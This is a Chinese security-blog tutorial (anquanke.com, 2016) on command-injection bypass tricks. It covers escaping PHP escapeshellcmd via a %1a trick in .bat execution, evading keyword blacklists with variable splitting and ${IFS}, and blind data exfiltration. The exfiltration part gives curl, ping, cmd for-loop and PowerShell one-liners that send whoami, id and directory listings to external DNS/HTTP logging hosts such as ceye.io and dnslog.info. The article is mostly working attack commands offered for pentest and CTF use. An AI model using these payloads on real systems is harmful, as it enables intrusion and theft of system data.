【技术分享】命令执行和绕过的一些小技巧

阅读量549837

|

发布时间 : 2016-11-16 14:03:02

https://p4.ssl.qhimg.com/t0156a411ce688449e4.png

作者:l3m0n_

稿费:400RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

先看一个例子

本地测试环境:PHP 5.4.45 + Win

<?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
?>

http://p1.qhimg.com/t0175b67f04fae0f800.png

应该如何去绕过执行?


escapeshellcmd

http://php.net/manual/zh/function.escapeshellcmd.php

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

具体会转义哪些字符?

https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c

http://p2.qhimg.com/t01a0242ceeaf478c4e.png

这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。

有这样的一个tip:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

http://p9.qhimg.com/t01feccae80e98c0901.png


更多好玩的命令绕过

linux下面tip特别多,在实战或者ctf中遇到最多的几个。

1. 黑名单绕过

执行ls命令:
a=l;b=s;$a$b
cat hello文件内容:
a=c;b=at;c=he;d=llo;$a$b ${c}${d}

http://p1.qhimg.com/t01f49316ee5b6eccfa.png

2. 空格绕过

绕过空格
${IFS}
或者在读取文件的时候利用重定向符
<>

http://p5.qhimg.com/t010730313ce1e8dc8d.png

最后就是别人fuzz的一个命令执行项目:

https://github.com/ewilded/shelling

3. 无回显

无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一般可以用dns/http通道来获取数据。

linux:

curl xxxx.ceye.io/`whoami`
ping -c 1 `whoami`.xxxx.ceye.io

http://p8.qhimg.com/t01f11fc4549204a417.png

可以获取数据,当前权限是root

http://p1.qhimg.com/t01726aa82521bedb44.png

但是有一个特别恼火的事情就是特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64

curl http://xxxx.ceye.io/$(id|base64)

http://p2.qhimg.com/t01c01f879c1da12344.png

windows:

windows下很头疼,用起来并没有linux那么方便好用,比如curl、wget等等。

http请求:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

powershell这么厉害,为啥不用它来base64一下数据。

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

这样就也能获取到一个base64编码到命令结果啦~算是弥补一个小小的坑。

ps:这个是用powershell2.0写的,其他版本未测试。

但是如果没有powershell想要获取更多数据的话,还是比较麻烦的。

比如获取d:所有文件,遇上空格也是会被截断。

for /F %x in ('dir /b D:') do start http://xxx.ceye.io/%x

4. 借他人之手来获取字符

如果过滤了<>?,可以从已有的文件中获取自己需要的字符。

http://p4.qhimg.com/t0128de7e50eda14578.png

当然如果服务器能外网的话,直接wget -o /tmp就好了。

本文由l3m0n_原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/84920

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
l3m0n_
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66